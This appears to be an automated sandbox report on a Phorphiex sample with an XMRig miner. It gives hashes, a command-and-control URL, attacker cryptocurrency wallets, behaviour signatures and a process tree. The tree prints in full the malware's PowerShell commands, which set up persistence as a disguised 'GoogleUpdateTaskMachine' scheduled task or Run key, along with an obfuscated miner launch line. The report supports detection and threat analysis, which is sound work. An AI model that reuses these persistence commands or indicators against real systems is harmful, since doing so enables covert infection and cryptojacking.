Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    08-02-2023 08:53

General

  • Target

    tmp.exe

  • Size

    75KB

  • MD5

    17eb719f9e19aefae9114aa922681e7f

  • SHA1

    a2165a6d3ff4dee62215bd489bbcc0aaa498e70a

  • SHA256

    e0ac6b5de69220016ae30e12a499cd7e0002ab66942203376a0bb97b1790ad70

  • SHA512

    77e7663c0b2cccf1f357c3f75cae22b0c8e207d482f8e5237f3d81844266d4f49d10574abbb6531ab20b417ed19a4d4991214933362a004413ccbe8a41f194de

  • SSDEEP

    1536:gY3Mz8y5D0FLcNU33CxcuxrMhenfFzeeeeeeeeeeeeeeeeeeeWeeeee:MwLFLQs3vuxrPnfF

Malware Config

Extracted

Family

phorphiex

C2

http://185.215.113.66/

Wallets

1Gpu5QiBqsquu71AGqHwb4Y68iwnkdGH1k

3PPJU1omRSTwxDbbfVyxh9Mm8WkiMGZviMh

37AcEVDyoPyUJUKNM3mM1UxNNvKgN6Abn5

qqlt9zzv020vtlswk5v6e90nv7hsuqz0nggp4rj5t0

Xj6orHUgmtZtPb2wGSTX2reQZJ89ZeeYYG

DRyZQqRX998DYdf7zGdTCShGcRBbxjUAbF

0x25229D09B0048F23e60c010C8eE1ae65C727e973

LhoapQ1TFjG2Fvbwn5WbM2wYcwisKRVz7x

r3j2xjQLmVa6Cg3cHZLqLNVja1x6g1AtNL

TVTrpva4J2g8SENebPar4YnfnCqwUeiX4a

t1MrdY4n3DBL3uip5Pq6tqx4doYpihJJG68

AXUqtUXyQmU8buqL5ehCLuLLHhhFrREXuw

bitcoincash:qqlt9zzv020vtlswk5v6e90nv7hsuqz0nggp4rj5t0

48jYpFT6bT8MTeph7VsyzCQeDsGHqdQNc2kUkRFJPzfRHHjarBvBtudPUtParMkDzZbYBrd3yntWBQcsnVBNeeMbN9EXifg

GDX4NDGHA5WKQLOI65PKPZRHSN6ZAUBRHA7BL44O5IOVMMZFZISMHTUD

bnb1zm5y3pns0ertprnvdyulz63tenlp9kc4m78v0m

bc1qdk0fquc7ug2zn7zpdyx4kasdy34t00c5r2xdup

Signatures

  • Phorphiex

    Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Windows security bypass 2 TTPs 6 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Windows security modification 2 TTPs 7 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 44 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1276
      • C:\Users\Admin\AppData\Local\Temp\tmp.exe
        "C:\Users\Admin\AppData\Local\Temp\tmp.exe"
        2⤵
        • Adds Run key to start application
        • Drops file in Windows directory
        • Suspicious use of WriteProcessMemory
        PID:1756
        • C:\Windows\sysagrsv.exe
          C:\Windows\sysagrsv.exe
          3⤵
          • Windows security bypass
          • Executes dropped EXE
          • Loads dropped DLL
          • Windows security modification
          • Suspicious use of WriteProcessMemory
          PID:1312
          • C:\Users\Admin\AppData\Local\Temp\56951612.exe
            C:\Users\Admin\AppData\Local\Temp\56951612.exe
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:1004
            • C:\Users\Admin\AppData\Local\Temp\2056825365.exe
              C:\Users\Admin\AppData\Local\Temp\2056825365.exe
              5⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              PID:1624
          • C:\Users\Admin\AppData\Local\Temp\1383714950.exe
            C:\Users\Admin\AppData\Local\Temp\1383714950.exe
            4⤵
            • Executes dropped EXE
            PID:1860
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#fwjcobfk#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachine' /tr '''C:\Users\Admin\Windows Security\Update\winsvrupd.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Security\Update\winsvrupd.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachine' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachine" /t REG_SZ /f /d 'C:\Users\Admin\Windows Security\Update\winsvrupd.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:436
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn GoogleUpdateTaskMachine /tr "'C:\Users\Admin\Windows Security\Update\winsvrupd.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:1512
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#boaqiqu#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachine" } Else { "C:\Users\Admin\Windows Security\Update\winsvrupd.exe" }
        2⤵
          PID:944
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachine
            3⤵
              PID:1324
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#fwjcobfk#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachine' /tr '''C:\Users\Admin\Windows Security\Update\winsvrupd.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Security\Update\winsvrupd.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachine' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachine" /t REG_SZ /f /d 'C:\Users\Admin\Windows Security\Update\winsvrupd.exe' }
            2⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1960
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn GoogleUpdateTaskMachine /tr "'C:\Users\Admin\Windows Security\Update\winsvrupd.exe'"
              3⤵
              • Creates scheduled task(s)
              PID:1936
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Users\Admin\AppData\Roaming\Google\Libs\g.log"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1124
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1516
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe dxfechzzfypoyjbf 6E3sjfZq2rJQaxvLPmXgsEqPiBiBLmVqlQRiqAROwnovuL/XXMnmllvN0dE0MNZasUNTlydMwtsW2rj8icJseNEYIR9Mk2CrBAnQSkVd4ghuXK6zXctx/Rv1juQihv2xvWMCiOcCltF908O7Q2gnrwdkD5pEVAuSGMT8e5i6oyrq4eYUoHB2nuvdKC2X+JFQf7iSJSEOJr7GBp5A9pekMuLZ1K+sy4g4Epzwi6wbVxl8ZM8mn+7GccIbj+pVuNsDYY3GPzEsZqgcGX8v8f7JRHr2ZjrjHFfnkTA9y/qycxz5Gn7YfwXD9vtnqqY+8qFe
            2⤵
            • Blocklisted process makes network request
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            PID:1740
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {1D85CCC7-BE0E-4003-BAFF-52B7EC62B6CE} S-1-5-21-3385717845-2518323428-350143044-1000:SABDUHNY\Admin:Interactive:[1]
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:832
          • C:\Users\Admin\Windows Security\Update\winsvrupd.exe
            "C:\Users\Admin\Windows Security\Update\winsvrupd.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:932

        Network

        MITRE ATT&CK Matrix ATT&CK v6

        Execution

        Scheduled Task

        1
        T1053

        Persistence

        Registry Run Keys / Startup Folder

        1
        T1060

        Scheduled Task

        1
        T1053

        Privilege Escalation

        Scheduled Task

        1
        T1053

        Defense Evasion

        Disabling Security Tools

        2
        T1089

        Modify Registry

        3
        T1112

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\1383714950.exe
          Filesize

          75KB

          MD5

          17eb719f9e19aefae9114aa922681e7f

          SHA1

          a2165a6d3ff4dee62215bd489bbcc0aaa498e70a

          SHA256

          e0ac6b5de69220016ae30e12a499cd7e0002ab66942203376a0bb97b1790ad70

          SHA512

          77e7663c0b2cccf1f357c3f75cae22b0c8e207d482f8e5237f3d81844266d4f49d10574abbb6531ab20b417ed19a4d4991214933362a004413ccbe8a41f194de

        • C:\Users\Admin\AppData\Local\Temp\2056825365.exe
          Filesize

          2.0MB

          MD5

          7b0633ae007d5d202c33d505d580d4b7

          SHA1

          3fcc4bd2af14b385104c27d8a192c938295bba3e

          SHA256

          84984b4ae961524fa29008d142c78b6a859b451bdd21cedc04cc25caf4256116

          SHA512

          e1038eeaa16cc1a8c514870d2f3892c7a68f083fe7f9751906e75d93c079a51190f61e153c145302ec0c3c761de5b5e1803a7338041665d4584214a11048647f

        • C:\Users\Admin\AppData\Local\Temp\2056825365.exe
          Filesize

          2.0MB

          MD5

          7b0633ae007d5d202c33d505d580d4b7

          SHA1

          3fcc4bd2af14b385104c27d8a192c938295bba3e

          SHA256

          84984b4ae961524fa29008d142c78b6a859b451bdd21cedc04cc25caf4256116

          SHA512

          e1038eeaa16cc1a8c514870d2f3892c7a68f083fe7f9751906e75d93c079a51190f61e153c145302ec0c3c761de5b5e1803a7338041665d4584214a11048647f

        • C:\Users\Admin\AppData\Local\Temp\56951612.exe
          Filesize

          6KB

          MD5

          03ee7b245daeebbf2ccaa1690a9fc8fc

          SHA1

          561710d7f8c05ff5c2a3a384be5de6e023e41ac4

          SHA256

          6bc23b9878978a2f3c507acfdad0b2244a8bda5143359613db039cb21d9c1228

          SHA512

          f64163899218b24ee1dd59748e024e0106d83dbea3e31c0f05b1efb8558a47c232dbbcd1463a121c63e2dff2743887925238d8bf6eab0b9ee0292386918e8e55

        • C:\Users\Admin\AppData\Roaming\Google\Libs\g.log
          Filesize

          198B

          MD5

          37dd19b2be4fa7635ad6a2f3238c4af1

          SHA1

          e5b2c034636b434faee84e82e3bce3a3d3561943

          SHA256

          8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

          SHA512

          86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

        • C:\Users\Admin\Windows Security\Update\winsvrupd.exe
          Filesize

          2.0MB

          MD5

          7b0633ae007d5d202c33d505d580d4b7

          SHA1

          3fcc4bd2af14b385104c27d8a192c938295bba3e

          SHA256

          84984b4ae961524fa29008d142c78b6a859b451bdd21cedc04cc25caf4256116

          SHA512

          e1038eeaa16cc1a8c514870d2f3892c7a68f083fe7f9751906e75d93c079a51190f61e153c145302ec0c3c761de5b5e1803a7338041665d4584214a11048647f

        • C:\Windows\sysagrsv.exe
          Filesize

          75KB

          MD5

          17eb719f9e19aefae9114aa922681e7f

          SHA1

          a2165a6d3ff4dee62215bd489bbcc0aaa498e70a

          SHA256

          e0ac6b5de69220016ae30e12a499cd7e0002ab66942203376a0bb97b1790ad70

          SHA512

          77e7663c0b2cccf1f357c3f75cae22b0c8e207d482f8e5237f3d81844266d4f49d10574abbb6531ab20b417ed19a4d4991214933362a004413ccbe8a41f194de

        • C:\Windows\sysagrsv.exe
          Filesize

          75KB

          MD5

          17eb719f9e19aefae9114aa922681e7f

          SHA1

          a2165a6d3ff4dee62215bd489bbcc0aaa498e70a

          SHA256

          e0ac6b5de69220016ae30e12a499cd7e0002ab66942203376a0bb97b1790ad70

          SHA512

          77e7663c0b2cccf1f357c3f75cae22b0c8e207d482f8e5237f3d81844266d4f49d10574abbb6531ab20b417ed19a4d4991214933362a004413ccbe8a41f194de

        • \Users\Admin\AppData\Local\Temp\1383714950.exe
          Filesize

          75KB

          MD5

          17eb719f9e19aefae9114aa922681e7f

          SHA1

          a2165a6d3ff4dee62215bd489bbcc0aaa498e70a

          SHA256

          e0ac6b5de69220016ae30e12a499cd7e0002ab66942203376a0bb97b1790ad70

          SHA512

          77e7663c0b2cccf1f357c3f75cae22b0c8e207d482f8e5237f3d81844266d4f49d10574abbb6531ab20b417ed19a4d4991214933362a004413ccbe8a41f194de

        • \Users\Admin\AppData\Local\Temp\1383714950.exe
          Filesize

          75KB

          MD5

          17eb719f9e19aefae9114aa922681e7f

          SHA1

          a2165a6d3ff4dee62215bd489bbcc0aaa498e70a

          SHA256

          e0ac6b5de69220016ae30e12a499cd7e0002ab66942203376a0bb97b1790ad70

          SHA512

          77e7663c0b2cccf1f357c3f75cae22b0c8e207d482f8e5237f3d81844266d4f49d10574abbb6531ab20b417ed19a4d4991214933362a004413ccbe8a41f194de

        • \Users\Admin\AppData\Local\Temp\2056825365.exe
          Filesize

          2.0MB

          MD5

          7b0633ae007d5d202c33d505d580d4b7

          SHA1

          3fcc4bd2af14b385104c27d8a192c938295bba3e

          SHA256

          84984b4ae961524fa29008d142c78b6a859b451bdd21cedc04cc25caf4256116

          SHA512

          e1038eeaa16cc1a8c514870d2f3892c7a68f083fe7f9751906e75d93c079a51190f61e153c145302ec0c3c761de5b5e1803a7338041665d4584214a11048647f

        • \Users\Admin\AppData\Local\Temp\56951612.exe
          Filesize

          6KB

          MD5

          03ee7b245daeebbf2ccaa1690a9fc8fc

          SHA1

          561710d7f8c05ff5c2a3a384be5de6e023e41ac4

          SHA256

          6bc23b9878978a2f3c507acfdad0b2244a8bda5143359613db039cb21d9c1228

          SHA512

          f64163899218b24ee1dd59748e024e0106d83dbea3e31c0f05b1efb8558a47c232dbbcd1463a121c63e2dff2743887925238d8bf6eab0b9ee0292386918e8e55

        • \Users\Admin\Windows Security\Update\winsvrupd.exe
          Filesize

          2.0MB

          MD5

          7b0633ae007d5d202c33d505d580d4b7

          SHA1

          3fcc4bd2af14b385104c27d8a192c938295bba3e

          SHA256

          84984b4ae961524fa29008d142c78b6a859b451bdd21cedc04cc25caf4256116

          SHA512

          e1038eeaa16cc1a8c514870d2f3892c7a68f083fe7f9751906e75d93c079a51190f61e153c145302ec0c3c761de5b5e1803a7338041665d4584214a11048647f

        • memory/436-71-0x000007FEFBB31000-0x000007FEFBB33000-memory.dmp
          Filesize

          8KB

        • memory/436-72-0x000007FEF4150000-0x000007FEF4B73000-memory.dmp
          Filesize

          10.1MB

        • memory/436-74-0x00000000026A4000-0x00000000026A7000-memory.dmp
          Filesize

          12KB

        • memory/436-73-0x000007FEF35F0000-0x000007FEF414D000-memory.dmp
          Filesize

          11.4MB

        • memory/436-76-0x00000000026A4000-0x00000000026A7000-memory.dmp
          Filesize

          12KB

        • memory/436-77-0x00000000026AB000-0x00000000026CA000-memory.dmp
          Filesize

          124KB

        • memory/932-80-0x0000000000000000-mapping.dmp
        • memory/1004-60-0x0000000000000000-mapping.dmp
        • memory/1312-55-0x0000000000000000-mapping.dmp
        • memory/1512-75-0x0000000000000000-mapping.dmp
        • memory/1516-90-0x0000000000000000-mapping.dmp
        • memory/1624-69-0x0000000000000000-mapping.dmp
        • memory/1740-96-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1740-95-0x0000000000000000-0x0000000001000000-memory.dmp
          Filesize

          16.0MB

        • memory/1740-94-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1740-93-0x0000000000160000-0x0000000000180000-memory.dmp
          Filesize

          128KB

        • memory/1740-92-0x00000001407F2720-mapping.dmp
        • memory/1756-54-0x0000000075F51000-0x0000000075F53000-memory.dmp
          Filesize

          8KB

        • memory/1860-65-0x0000000000000000-mapping.dmp
        • memory/1936-86-0x0000000000000000-mapping.dmp
        • memory/1960-89-0x00000000024FB000-0x000000000251A000-memory.dmp
          Filesize

          124KB

        • memory/1960-88-0x00000000024F4000-0x00000000024F7000-memory.dmp
          Filesize

          12KB

        • memory/1960-85-0x00000000024F4000-0x00000000024F7000-memory.dmp
          Filesize

          12KB

        • memory/1960-87-0x00000000024FB000-0x000000000251A000-memory.dmp
          Filesize

          124KB

        • memory/1960-84-0x000007FEF35F0000-0x000007FEF414D000-memory.dmp
          Filesize

          11.4MB

        • memory/1960-83-0x000007FEF4150000-0x000007FEF4B73000-memory.dmp
          Filesize

          10.1MB